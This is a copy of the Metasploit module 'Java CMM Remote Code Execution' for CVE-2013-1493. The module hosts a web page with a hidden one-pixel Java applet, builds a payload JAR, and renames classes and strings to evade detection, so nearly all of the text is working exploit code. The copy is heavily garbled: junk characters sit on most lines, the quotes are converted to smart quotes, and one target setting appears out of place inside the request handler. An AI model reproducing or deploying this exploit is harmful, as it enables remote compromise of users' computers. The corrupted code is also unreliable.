##
5 `# q/ E, k! U; o8 z ~6 j9 M
# This file is part of the Metasploit Framework and may be subject to
) b6 \& C; f/ t: Z+ W# redistribution and commercial restrictions. Please see the Metasploit9 K1 q5 v: ?/ o
# web site for more information on licensing and terms of use.4 h8 x$ ?( L. w+ j
# http://metasploit.com/
/ g3 G: I$ d2 L##- `/ o; k2 f, a0 t9 m
require ‘msf/core’2 P- f$ G% Y- m6 h9 ^/ h
require ‘rex’# _+ ?4 U: t$ @) T5 W" f
class Metasploit3 < Msf::Exploit::Remote
+ s% |; i6 s' k/ a- P6 ?9 ARank = NormalRanking
+ }7 {( x. k5 k8 zinclude Msf::Exploit::Remote::HttpServer::HTML
: E1 d p e# a. M( Dinclude Msf::Exploit::EXE
( E; G1 g) c3 |' l, ginclude Msf::Exploit::Remote::BrowserAutopwn
# @5 f, U% w! D# zautopwn_info({ :javascript => false })
7 s p1 V, S, t, W6 `, l+ vdef initialize( info = {} )
: @3 Y- S* a8 w- Dsuper( update_info( info,4 d0 _- D) }- u5 l
‘Name’ => ‘Java CMM Remote Code Execution’,3 B, V' j) h3 ~+ k4 ]2 c( X
‘Description’ => %q{
. Q* B+ E5 ?! ^This module abuses the Color Management classes from a Java Applet to run
( J) H- d2 s: M/ }$ a3 [arbitrary Java code outside of the sandbox as exploited in the wild in February
; d# w2 A! h; C3 j& band March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u419 n& M( N f0 M/ Q& }$ a! g- O7 ?
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1- x6 B: k) {9 P4 t1 e) y' S
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
( Q7 L4 u. @# S$ twarning in order to run the malicious applet.
$ _, i- e# ?9 F},
0 R! P* [! F( e" Q9 X' y% T; a: t‘License’ => MSF_LICENSE,2 d6 y4 v) g) v4 a- o* _
‘Author’ =>
8 I6 n0 _! s! k% p% D'Unknown', # Vulnerability discovery and Exploit
% S& h$ Z p' U# u" r# i% W, u'juan vazquez' # Metasploit module (just ported the published exploit)
* I6 B3 m/ j+ u2 `5 g8 q* f],/ S/ y" s& b" P: u1 G; f* k6 W' B
‘References’ =>' }. N, S7 G' a- G5 O+ a
[4 h+ e5 ?" Z k; Q
[ 'CVE', '2013-1493' ],
$ B- K1 T3 R& y. W# q1 }: K. @[ 'OSVDB', '90737' ],7 l' l3 a& O& c5 \+ a
[ 'BID', '58238' ],2 Q) d9 r7 `4 L, z& ~* b
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],+ [: z' q/ \+ b
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
7 T7 l3 ? X5 O; [ v. [* R[ 'URL', 'http://pastie.org/pastes/6581034' ]
- d8 C% ~0 s2 ]' V],
' r* m: k( E% V* M‘Platform’ => [ 'win', 'java' ],5 r8 `2 X0 r: ^& N B) ]
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },0 n9 a6 n& l# Z+ P' H L
‘Targets’ =>$ s8 h$ C6 ~; Q' C2 V
[8 A- u9 ~. g+ @; w j& V/ f/ j* u
[ 'Generic (Java Payload)',
4 _3 G5 Q9 m; r$ C{
I* n+ ?4 p& {# O4 v* d'Platform' => 'java',0 e$ C' C0 B, H
'Arch' => ARCH_JAVA" h1 u) C- \3 r6 b
}1 h; q0 i6 n3 o7 u, o9 s4 M
],
: f. C* x8 ]9 T' s v[ 'Windows x86 (Native Payload)',
$ W9 q6 l9 V2 s( y1 K H{ T. J2 `& J2 X5 ~
'Platform' => 'win',# P& m/ Z* c7 ]' h4 B2 o- D
'Arch' => ARCH_X86
0 W( k8 H! Y7 \* v! \3 L& Y! M8 B}( y! ^2 A9 @+ s$ N( |3 n$ d& w
]
3 o' I# p. f+ g4 @],
P' ~: J( a5 c# O, c6 g4 R2 R‘‘DisclosureDate’ => ‘Mar 01 2013′! j% y! ~: ~+ e' g* K# o4 }6 L% i) a
))2 @. ~1 c) h0 Z
end* m* V& e3 \* ]- y* C" g
def setup
" ?0 G, k# n! spath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
+ X3 h5 v5 z. O+ H- F@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" F/ m9 d5 g& \6 F9 e- G) k
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)7 h l1 i; w$ s8 Q7 ?
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }, a/ K1 x, B8 P4 U& K& G( S
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
/ i1 _6 v% \0 W; r$ w) j h: D@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
& j9 d1 _# a, N( Kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)$ G* j+ Y0 [, v f& ~
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ L6 N! `* H7 S8 X/ a3 B4 i
@init_class_name = rand_text_alpha(“Init”.length)5 c& V- u* q6 K! f
@init_class.gsub!(“Init”, @init_class_name)
* D+ M1 d2 k7 m6 _7 ]; g0 ~: rsuper/ [, o/ l: Q1 E9 J5 D5 ^
end) s, |1 d% {8 f
def on_request_uri(cli, request)- ]" [6 o1 [! n+ `( x% }
print_status(“handling request for #{request.uri}”)1 k* P$ u: k' J
case request.uri
: J0 f d. I) R! {* d) Z+ f- vwhen /\.jar$/i# e, X1 O ?% f% R0 z
jar = payload.encoded_jar
% h0 p- ?6 f% r5 ljar.add_file(“#{@init_class_name}.class”, @init_class)
' p1 v$ b' F4 l3 v4 Djar.add_file(“Leak.class”, @leak_class)1 F" F& U6 J' i
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)' m" |" |! V! K2 M3 c7 y9 {/ ^5 o2 P3 x; h
jar.add_file(“MyColorSpace.class”, @color_space_class)
F/ H% ~$ x+ E X- Q9 A5 tDefaultTarget’ => 1,
& T0 y+ M+ y4 P% g j8 ]+ o, m, |/ Fmetasploit_str = rand_text_alpha(“metasploit”.length)* ^6 L6 q" p. [6 q R- A
payload_str = rand_text_alpha(“payload”.length)* j( d0 ~: V5 B
jar.entries.each { |entry|1 G( A! {* T* K# M2 ?# x H& w
entry.name.gsub!(“metasploit”, metasploit_str)
h6 {4 ^! l* Z/ Y1 Q6 ~! Ientry.name.gsub!(“Payload”, payload_str)8 n4 Q4 T) I, b p: L: D
entry.data = entry.data.gsub(“metasploit”, metasploit_str)8 y5 ^$ O. f# W& P: e# U
entry.data = entry.data.gsub(“Payload”, payload_str), K$ v4 S% P9 {5 C
}
: n6 a: i2 w7 E7 [% R$ Djar.build_manifest# i p3 @' U, O4 q) a
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
" F6 Q7 }0 W3 }; I9 O- r; j, Dwhen /\/$/
4 d, I4 O: V8 p- C0 n* Cpayload = regenerate_payload(cli)/ @; P0 N( j2 D( x8 B, v. i( V. P+ \
if not payload. z) p n, [1 p$ _
print_error(“Failed to generate the payload.”)4 K U: W/ g) D# ?8 P: U2 k
send_not_found(cli)
t+ {& v- J( ]6 H& _return
6 x! `5 D1 l7 t- Kend
/ _$ Y \* \- y3 {! Dsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
' E3 p: |. N# ~$ Q' p! j4 @& ^else
7 O3 a/ x8 C; v* z2 Gsend_redirect(cli, get_resource() + ‘/’, ”)
# `5 |2 \# d, T2 \# {( S6 |# K5 send8 y3 Y% d0 c- A# z- n( e
end
% m) L2 d3 J; R+ t fdef generate_html
! T+ z) q; W3 ihtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|: D) |( q' z" G: Q# d2 a& S
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|2 g0 x' Y/ V, K* T8 G
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
/ r. }9 y0 t. \( ?5 bhtml += %Q|</applet></body></html>|
G* y* j3 p0 Ireturn html2 `4 a$ Z6 M& z5 a2 _
end
% n, t0 a1 A0 c, Q3 h6 k+ G& ]end
5 Q* U# @. M j0 q# l2 o. [end
" G1 |8 ^$ s! ?6 b1 l& E |